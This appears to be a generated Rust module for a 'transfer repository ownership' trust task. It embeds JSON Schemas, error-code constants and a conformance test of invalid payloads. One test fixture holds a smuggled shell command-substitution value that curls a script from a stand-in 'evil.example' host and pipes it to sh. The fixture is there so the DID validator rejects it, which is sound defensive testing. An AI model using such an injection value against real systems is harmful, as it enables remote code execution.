branch protection or a ruleset is weaker than the projection in another way (force-push allowed, bypass actors added). `bootstrapMissing` — a bootstrap file or variable is gone.\",\n \"enum\": [\n \"roleAdded\",\n \"roleRemoved\",\n \"roleChanged\",\n \"requiredCheckMissing\",\n \"protectionWeakened\",\n \"bootstrapMissing\"\n ],\n \"type\": \"string\"\n }\n },\n \"required\": [\n \"type\",\n \"resource\"\n ],\n \"title\": \"DriftItem\",\n \"type\": \"object\"\n },\n \"Ext\": {\n \"additionalProperties\": true,\n \"description\": \"Vendor-namespaced extension object per SPEC.md §4.5.1. Each immediate key MUST be a reverse-DNS namespace; structure under each namespace is opaque to the framework.\",\n \"minProperties\": 1,\n \"propertyNames\": {\n \"pattern\": \"^[a-z][a-z0-9-]*(\\\\.[a-z0-9-]+)+$\"\n },\n \"title\": \"Ext\",\n \"type\": \"object\"\n },\n \"ForgeAccount\": {\n \"additionalProperties\": false,\n \"description\": \"A person's account on one forge. `id` is authoritative; `login` is for display only, because logins can be renamed and re-registered.\",\n \"properties\": {\n \"forge\": {\n \"$ref\": \"#/$defs/ForgeHost\"\n },\n \"id\": {\n \"$ref\": \"#/$defs/ForgeId\"\n },\n \"login\": {\n \"description\": \"The account's current login, as the forge reported it when last seen. Display only.\",\n \"maxLength\": 100,\n \"minLength\": 1,\n \"type\": \"string\"\n }\n },\n \"required\": [\n \"forge\",\n \"id\",\n \"login\"\n ],\n \"title\": \"ForgeAccount\",\n \"type\": \"object\"\n },\n \"ForgeHost\": {\n \"description\": \"The lowercased DNS host of a forge: `github.com`, a GitHub Enterprise Server host, `codeberg.org`, or a self-hosted Forgejo instance such as `git.example.org`. No scheme, no port, no path. The host is a segment of every resource, so a right never crosses forges.\",\n \"maxLength\": 253,\n \"minLength\": 3,\n \"pattern\": \"^[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(?:\\\\.[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)+$\",\n \"title\": \"ForgeHost\",\n \"type\": \"string\"\n },\n \"ForgeId\": {\n \"description\": \"An identifier the forge itself assigns — a repository id, a user or organisation id — carried as a string so a forge whose ids are not numbers needs no new version. GitHub and Forgejo ids are decimal integers written as strings (`\\\"812736451\\\"`). Unlike a name, it survives renames and transfers, which is why rights and bindings are keyed by it.\",\n \"maxLength\": 64,\n \"minLength\": 1,\n \"title\": \"ForgeId\",\n \"type\": \"string\"\n },\n \"RepoResource\": {\n \"description\": \"A forge-qualified resource naming exactly one repository: `<forge-host>/<owner>/<repo>`, lowercase.\",\n \"maxLength\": 455,\n \"pattern\": \"^[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(?:\\\\.[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)+/[a-z0-9_-][a-z0-9._-]{0,99}/[a-z0-9_-][a-z0-9._-]{0,99}$\",\n \"title\": \"RepoResource\",\n \"type\": \"string\"\n },\n \"RepoSummary\": {\n \"additionalProperties\": false,\n \"description\": \"One repository as the VTC records it.\",\n \"properties\": {\n \"bootstrap\": {\n \"$ref\": \"#/$defs/Bootstrap\"\n },\n \"forgeId\": {\n \"$ref\": \"#/$defs/ForgeId\",\n \"description\": \"The forge's repository id. Absent until the forge has confirmed the repository exists (a `pendingCreate` repository, or one adopted in bridge mode before the first inspection).\"\n },\n \"owners\": {\n \"description\": \"The DIDs holding `git.repo.own` on this repository by an explicit grant. Empty only for an `unmanaged` repository, and for an `orphaned` one whose ownership rests with the namespace admins by implication.\",\n \"items\": {\n \"$ref\": \"#/$defs/Did\"\n },\n \"type\": \"array\",\n \"uniqueItems\": true\n },\n \"resource\": {\n \"$ref\": \"#/$defs/RepoResource\"\n },\n \"state\": {\n \"description\": \"`pendingCreate` — the name is reserved and the repository is not yet confirmed on the forge. `active` — managed. `archived` — archived through git-ns/repo/archive; commit rights on it are revoked. `detached` — no longer governed: its namespace was unbound, or it moved outside the namespace. `orphaned` — its last owner left the community and ownership passed to the namespace admins, who have not yet named a new owner. `unmanaged` — it exists on the forge inside a bound namespace but was never created or adopted through the VTC.\",\n \"enum\": [\n \"pendingCreate\",\n \"active\",\n \"archived\",\n \"detached\",\n \"orphaned\",\n \"unmanaged\"\n ],\n \"type\": \"string\"\n },\n \"sync\": {\n \"$ref\": \"#/$defs/Sync\"\n },\n \"visibility\": {\n \"$ref\": \"#/$defs/RepoVisibility\"\n }\n },\n \"required\": [\n \"resource\",\n \"visibility\",\n \"state\",\n \"owners\",\n \"bootstrap\",\n \"sync\"\n ],\n \"title\": \"RepoSummary\",\n \"type\": \"object\"\n },\n \"RepoVisibility\": {\n \"description\": \"Repository visibility on the forge.\",\n \"enum\": [\n \"public\",\n \"private\"\n ],\n \"title\": \"RepoVisibility\",\n \"type\": \"string\"\n },\n \"Response\": {\n \"$anchor\": \"response\",\n \"additionalProperties\": false,\n \"description\": \"The repository after the transfer.\",\n \"properties\": {\n \"ext\": {\n \"$ref\": \"#/$defs/Ext\"\n },\n \"repo\": {\n \"$ref\": \"#/$defs/RepoSummary\",\n \"description\": \"The repository after the transfer.\"\n }\n },\n \"required\": [\n \"repo\"\n ],\n \"title\": \"Git Namespaces — Transfer Repository Ownership — response payload\",\n \"type\": \"object\"\n },\n \"Sync\": {\n \"additionalProperties\": false,\n \"description\": \"How the forge compares with the VTC's projection for one repository.\",\n \"properties\": {\n \"checkedAt\": {\n \"description\": \"When the forge was last compared. Absent if never.\",\n \"format\": \"date-time\",\n \"type\": \"string\"\n },\n \"drift\": {\n \"description\": \"Outstanding drift. Empty unless `state` is `drift`.\",\n \"items\": {\n \"$ref\": \"#/$defs/DriftItem\"\n },\n \"type\": \"array\"\n },\n \"state\": {\n \"description\": \"`inSync` — the last comparison found no drift. `drift` — it found some, listed in `drift`. `pending` — a change has been sent to the forge and not yet confirmed. `unchecked` — nothing compares this repository (a manual-mode namespace).\",\n \"enum\": [\n \"inSync\",\n \"drift\",\n \"pending\",\n \"unchecked\"\n ],\n \"type\": \"string\"\n }\n },\n \"required\": [\n \"state\",\n \"drift\"\n ],\n \"title\": \"Sync\",\n \"type\": \"object\"\n }\n },\n \"$id\": \"https://trusttasks.org/spec/git-ns/repo/transfer/0.2\",\n \"$schema\": \"https://json-schema.org/draft/2020-12/schema\",\n \"additionalProperties\": false,\n \"description\": \"An owner hands their ownership of a repository to someone else: `to` is recorded as an owner and the caller's own `git.repo.own` record is revoked. Ownership moves between people; the repository stays where it is on the forge.\",\n \"properties\": {\n \"ext\": {\n \"$ref\": \"#/$defs/Ext\"\n },\n \"resource\": {\n \"$ref\": \"#/$defs/RepoResource\",\n \"description\": \"The repository.\"\n },\n \"to\": {\n \"$ref\": \"#/$defs/Did\",\n \"description\": \"Who receives ownership.\"\n }\n },\n \"required\": [\n \"resource\",\n \"to\"\n ],\n \"title\": \"Git Namespaces — Transfer Repository Ownership — payload\",\n \"type\": \"object\"\n}\n",
);
}
impl crate::Payload for Response {
const TYPE_URI: &'static str = "https://trusttasks.org/spec/git-ns/repo/transfer/0.2#response";
const IS_PROOF_REQUIRED: bool = true;
const IS_ISSUED_AT_REQUIRED: bool = true;
const IS_RECIPIENT_REQUIRED: bool = true;
const PAYLOAD_SCHEMA: Option<&'static str> = Some(
"{\n \"$defs\": {\n \"Bootstrap\": {\n \"additionalProperties\": false,\n \"description\": \"Whether each step that turns commit trust on for a repository is in place, as last reported. A step that this forge's plan does not need reads `true`.\",\n \"properties\": {\n \"keyring\": {\n \"description\": \"The exempt platform keyring for forge-signed merge commits is committed, or the forge's plan does not need one.\",\n \"type\": \"boolean\"\n },\n \"requiredCheck\": {\n \"description\": \"The forge refuses to merge into the default branch unless the verify-trust check passes, with no bypass, and a pull request cannot change what that check runs: an organisation-required workflow, code-owner review of workflow files, or protected workflow paths, as the forge allows.\",\n \"type\": \"boolean\"\n },\n \"variables\": {\n \"description\": \"The repository names the Trust Registry and this VTC as its trust anchors.\",\n \"type\": \"boolean\"\n },\n \"workflow\": {\n \"description\": \"The verify-trust check runs on the repository's pull requests — from a workflow committed to it, or, where the forge supports it, required on it from the namespace's own bridge-managed workflow repository at a pinned commit.\",\n \"type\": \"boolean\"\n }\n },\n \"required\": [\n \"workflow\",\n \"keyring\",\n \"variables\",\n \"requiredCheck\"\n ],\n \"title\": \"Bootstrap\",\n \"type\": \"object\"\n },\n \"Did\": {\n \"description\": \"A bare DID in the W3C DID Core syntax (§3.1): `did:`, a method name of lowercase letters and digits, `:`, and a method-specific id of colon-separated segments drawn from `A-Z a-z 0-9 . - _` and percent-encoded octets, the last segment non-empty. A DID URL is not a DID: no path, query or fragment (`/`, `?`, `#`), so a verification-method id such as `did:key:z6Mk…#z6Mk…` is refused. Compared by exact string equality — no case folding or percent-decoding. A consumer MUST still treat the value as data: the pattern keeps shell metacharacters, whitespace and quotes out of the wire form, but it does not make a DID safe to splice into a command or markup.\",\n \"maxLength\": 2048,\n \"pattern\": \"^did:[a-z0-9]+:(?:(?:[A-Za-z0-9._-]|%[0-9A-Fa-f]{2})*:)*(?:[A-Za-z0-9._-]|%[0-9A-Fa-f]{2})+$\",\n \"title\": \"Did\",\n \"type\": \"string\"\n },\n \"DriftItem\": {\n \"additionalProperties\": false,\n \"description\": \"One difference between the forge's observed state and the VTC's projection of a repository.\",\n \"properties\": {\n \"account\": {\n \"$ref\": \"#/$defs/ForgeAccount\",\n \"description\": \"Whose role differs, for the three role types.\"\n },\n \"expected\": {\n \"description\": \"What the projection calls for, in the forge's own vocabulary. Absent when the projection calls for nothing.\",\n \"maxLength\": 256,\n \"type\": \"string\"\n },\n \"observed\": {\n \"description\": \"What the forge shows, in the forge's own vocabulary (a role name such as `maintain`, a setting name). Absent when nothing is there.\",\n \"maxLength\": 256,\n \"type\": \"string\"\n },\n \"resource\": {\n \"$ref\": \"#/$defs/RepoResource\"\n },\n \"type\": {\n \"description\": \"`roleAdded` — someone holds a forge role the projection does not give them. `roleRemoved` — a projected role is missing. `roleChanged` — a projected role is present at another level. `requiredCheckMissing` — the verify-trust check is no longer required. `protectionWeakened` — branch protection or a ruleset is weaker than the projection in another way (force-push allowed, bypass actors added). `bootstrapMissing` — a bootstrap file or variable is gone.\",\n \"enum\": [\n \"roleAdded\",\n \"roleRemoved\",\n \"roleChanged\",\n \"requiredCheckMissing\",\n \"protectionWeakened\",\n \"bootstrapMissing\"\n ],\n \"type\": \"string\"\n }\n },\n \"required\": [\n \"type\",\n \"resource\"\n ],\n \"title\": \"DriftItem\",\n \"type\": \"object\"\n },\n \"Ext\": {\n \"additionalProperties\": true,\n \"description\": \"Vendor-namespaced extension object per SPEC.md §4.5.1. Each immediate key MUST be a reverse-DNS namespace; structure under each namespace is opaque to the framework.\",\n \"minProperties\": 1,\n \"propertyNames\": {\n \"pattern\": \"^[a-z][a-z0-9-]*(\\\\.[a-z0-9-]+)+$\"\n },\n \"title\": \"Ext\",\n \"type\": \"object\"\n },\n \"ForgeAccount\": {\n \"additionalProperties\": false,\n \"description\": \"A person's account on one forge. `id` is authoritative; `login` is for display only, because logins can be renamed and re-registered.\",\n \"properties\": {\n \"forge\": {\n \"$ref\": \"#/$defs/ForgeHost\"\n },\n \"id\": {\n \"$ref\": \"#/$defs/ForgeId\"\n },\n \"login\": {\n \"description\": \"The account's current login, as the forge reported it when last seen. Display only.\",\n \"maxLength\": 100,\n \"minLength\": 1,\n \"type\": \"string\"\n }\n },\n \"required\": [\n \"forge\",\n \"id\",\n \"login\"\n ],\n \"title\": \"ForgeAccount\",\n \"type\": \"object\"\n },\n \"ForgeHost\": {\n \"description\": \"The lowercased DNS host of a forge: `github.com`, a GitHub Enterprise Server host, `codeberg.org`, or a self-hosted Forgejo instance such as `git.example.org`. No scheme, no port, no path. The host is a segment of every resource, so a right never crosses forges.\",\n \"maxLength\": 253,\n \"minLength\": 3,\n \"pattern\": \"^[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(?:\\\\.[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)+$\",\n \"title\": \"ForgeHost\",\n \"type\": \"string\"\n },\n \"ForgeId\": {\n \"description\": \"An identifier the forge itself assigns — a repository id, a user or organisation id — carried as a string so a forge whose ids are not numbers needs no new version. GitHub and Forgejo ids are decimal integers written as strings (`\\\"812736451\\\"`). Unlike a name, it survives renames and transfers, which is why rights and bindings are keyed by it.\",\n \"maxLength\": 64,\n \"minLength\": 1,\n \"title\": \"ForgeId\",\n \"type\": \"string\"\n },\n \"RepoResource\": {\n \"description\": \"A forge-qualified resource naming exactly one repository: `<forge-host>/<owner>/<repo>`, lowercase.\",\n \"maxLength\": 455,\n \"pattern\": \"^[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(?:\\\\.[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)+/[a-z0-9_-][a-z0-9._-]{0,99}/[a-z0-9_-][a-z0-9._-]{0,99}$\",\n \"title\": \"RepoResource\",\n \"type\": \"string\"\n },\n \"RepoSummary\": {\n \"additionalProperties\": false,\n \"description\": \"One repository as the VTC records it.\",\n \"properties\": {\n \"bootstrap\": {\n \"$ref\": \"#/$defs/Bootstrap\"\n },\n \"forgeId\": {\n \"$ref\": \"#/$defs/ForgeId\",\n \"description\": \"The forge's repository id. Absent until the forge has confirmed the repository exists (a `pendingCreate` repository, or one adopted in bridge mode before the first inspection).\"\n },\n \"owners\": {\n \"description\": \"The DIDs holding `git.repo.own` on this repository by an explicit grant. Empty only for an `unmanaged` repository, and for an `orphaned` one whose ownership rests with the namespace admins by implication.\",\n \"items\": {\n \"$ref\": \"#/$defs/Did\"\n },\n \"type\": \"array\",\n \"uniqueItems\": true\n },\n \"resource\": {\n \"$ref\": \"#/$defs/RepoResource\"\n },\n \"state\": {\n \"description\": \"`pendingCreate` — the name is reserved and the repository is not yet confirmed on the forge. `active` — managed. `archived` — archived through git-ns/repo/archive; commit rights on it are revoked. `detached` — no longer governed: its namespace was unbound, or it moved outside the namespace. `orphaned` — its last owner left the community and ownership passed to the namespace admins, who have not yet named a new owner. `unmanaged` — it exists on the forge inside a bound namespace but was never created or adopted through the VTC.\",\n \"enum\": [\n \"pendingCreate\",\n \"active\",\n \"archived\",\n \"detached\",\n \"orphaned\",\n \"unmanaged\"\n ],\n \"type\": \"string\"\n },\n \"sync\": {\n \"$ref\": \"#/$defs/Sync\"\n },\n \"visibility\": {\n \"$ref\": \"#/$defs/RepoVisibility\"\n }\n },\n \"required\": [\n \"resource\",\n \"visibility\",\n \"state\",\n \"owners\",\n \"bootstrap\",\n \"sync\"\n ],\n \"title\": \"RepoSummary\",\n \"type\": \"object\"\n },\n \"RepoVisibility\": {\n \"description\": \"Repository visibility on the forge.\",\n \"enum\": [\n \"public\",\n \"private\"\n ],\n \"title\": \"RepoVisibility\",\n \"type\": \"string\"\n },\n \"Response\": {\n \"$anchor\": \"response\",\n \"additionalProperties\": false,\n \"description\": \"The repository after the transfer.\",\n \"properties\": {\n \"ext\": {\n \"$ref\": \"#/$defs/Ext\"\n },\n \"repo\": {\n \"$ref\": \"#/$defs/RepoSummary\",\n \"description\": \"The repository after the transfer.\"\n }\n },\n \"required\": [\n \"repo\"\n ],\n \"title\": \"Git Namespaces — Transfer Repository Ownership — response payload\",\n \"type\": \"object\"\n },\n \"Sync\": {\n \"additionalProperties\": false,\n \"description\": \"How the forge compares with the VTC's projection for one repository.\",\n \"properties\": {\n \"checkedAt\": {\n \"description\": \"When the forge was last compared. Absent if never.\",\n \"format\": \"date-time\",\n \"type\": \"string\"\n },\n \"drift\": {\n \"description\": \"Outstanding drift. Empty unless `state` is `drift`.\",\n \"items\": {\n \"$ref\": \"#/$defs/DriftItem\"\n },\n \"type\": \"array\"\n },\n \"state\": {\n \"description\": \"`inSync` — the last comparison found no drift. `drift` — it found some, listed in `drift`. `pending` — a change has been sent to the forge and not yet confirmed. `unchecked` — nothing compares this repository (a manual-mode namespace).\",\n \"enum\": [\n \"inSync\",\n \"drift\",\n \"pending\",\n \"unchecked\"\n ],\n \"type\": \"string\"\n }\n },\n \"required\": [\n \"state\",\n \"drift\"\n ],\n \"title\": \"Sync\",\n \"type\": \"object\"\n }\n },\n \"$ref\": \"#/$defs/Response\",\n \"$schema\": \"https://json-schema.org/draft/2020-12/schema\"\n}\n",
);
}
impl crate::RequestPayload for Payload {
type Response = Response;
}
/// The extended error codes this specification declares (SPEC §7.3 item 9,
/// §8.5), in declaration order. Empty when it declares none.
pub const ERROR_CODES: &[crate::DeclaredErrorCode] = &[
error_codes::UNKNOWN_REPO,
error_codes::REPO_NOT_ACTIVE,
error_codes::POLICY_DENIED,
error_codes::NOT_OWNER,
error_codes::SELF_TRANSFER,
];
/// One constant per extended error code this specification declares
/// (SPEC §7.3 item 9), named for its local part.
///
/// Emit these rather than a string literal: the code is read from the
/// specification, so it cannot name a code the specification never
/// declared.
pub mod error_codes {
/// `git-ns:unknownRepo`
///
/// The resource names no repository this VTC records.
///
/// Declared `retryable: false`.
pub const UNKNOWN_REPO: crate::DeclaredErrorCode = crate::DeclaredErrorCode {
code: "git-ns:unknownRepo",
retryable: false,
};
/// `git-ns:repoNotActive`
///
/// The repository's state does not allow this operation; each task says which states it accepts.
///
/// Declared `retryable: false`.
pub const REPO_NOT_ACTIVE: crate::DeclaredErrorCode = crate::DeclaredErrorCode {
code: "git-ns:repoNotActive",
retryable: false,
};
/// `git-ns:policyDenied`
///
/// The community's git-namespace policy refused the request after the fixed rules passed.
///
/// Declared `retryable: false`.
pub const POLICY_DENIED: crate::DeclaredErrorCode = crate::DeclaredErrorCode {
code: "git-ns:policyDenied",
retryable: false,
};
/// `git-ns/repo/transfer:notOwner`
///
/// The caller holds no explicit `git.repo.own` record on this repository to hand over.
///
/// Declared `retryable: false`.
pub const NOT_OWNER: crate::DeclaredErrorCode = crate::DeclaredErrorCode {
code: "git-ns/repo/transfer:notOwner",
retryable: false,
};
/// `git-ns/repo/transfer:selfTransfer`
///
/// `to` is the caller.
///
/// Declared `retryable: false`.
pub const SELF_TRANSFER: crate::DeclaredErrorCode = crate::DeclaredErrorCode {
code: "git-ns/repo/transfer:selfTransfer",
retryable: false,
};
}
#[cfg(test)]
mod conformance {
//! Round-trip tests harvested from the spec's `spec.md`,
//! plus a `rejects_invalid_examples` test for any fixtures
//! in `payload.invalid-examples.json` (validate feature).
/// Each fixture in `payload.invalid-examples.json` MUST be
/// rejected by at least one of: serde deserialization, or
/// JSON-Schema validation under the `validate` feature. The
/// fixture file documents the producer-side bug class that
/// each payload exemplifies; this generated test pins it.
#[cfg(feature = "validate")]
#[test]
fn rejects_invalid_examples() {
use crate::validate::ValidatedPayload;
let fixtures: &[(&str, &str)] = &[
("`to` is required.", "{\n \"resource\": \"github.com/acme/widgets\"\n}"),
(
"Ownership is of a repository, not a namespace.",
"{\n \"resource\": \"github.com/acme\",\n \"to\": \"did:webvh:QmBobScid2:acme-vtc.example:bob\"\n}",
),
(
"`to` is a DID.",
"{\n \"resource\": \"github.com/acme/widgets\",\n \"to\": \"bob@example.com\"\n}",
),
(
"`to` is a DID in the W3C DID Core syntax, whose method-specific id admits only `A-Z a-z 0-9 . - _ :` and percent-encoded octets. `did:[a-z0-9]+:\\S+` let a command substitution through, and a surface that later quoted the value into a shell command ran it.",
"{\n \"resource\": \"github.com/acme/widgets\",\n \"to\": \"did:web:x.example$(curl${IFS}-s${IFS}evil.example|sh)\"\n}",
),
(
"`to` is a DID, and a DID has no whitespace in it.",
"{\n \"resource\": \"github.com/acme/widgets\",\n \"to\": \"did:web:acme-vtc.example:bob evil\"\n}",
),
(
"`to` is a bare DID naming a party, not a DID URL: a `#` fragment (a verification-method id) is refused, as are a path and a query.",
"{\n \"resource\": \"github.com/acme/widgets\",\n \"to\": \"did:key:z6MkhaXgBZDvotDkL5257faiztiGiC2QtKLGpbnnEGta2doK#z6MkhaXgBZDvotDkL5257faiztiGiC2QtKLGpbnnEGta2doK\"\n}",
),
(
"`to` is a DID, whose method name is lowercase letters and digits only; `did:WebVH:` is not `did:webvh:`, and DIDs are compared by exact string.",
"{\n \"resource\": \"github.com/acme/widgets\",\n \"to\": \"did:WebVH:QmBobScid2:acme-vtc.example:bob\"\n}",
),
];
for (i, (note, raw)) in fixtures.iter().enumerate() {
let value: serde_json::Value = match serde_json::from_str(raw) {
Ok(v) => v,
Err(_) => continue,
};
let serde_ok = serde_json::from_value::<super::Payload>(value.clone()).is_ok();
let schema_ok = super::Payload::validate_value(&value).is_ok();
assert!(
!(serde_ok && schema_ok),
"invalid-example #{} ({:?}) was accepted by both serde and JSON Schema; \
the fixture's stated failure class is no longer caught:\n{}",
i + 1,
note,
raw
);
}
}
}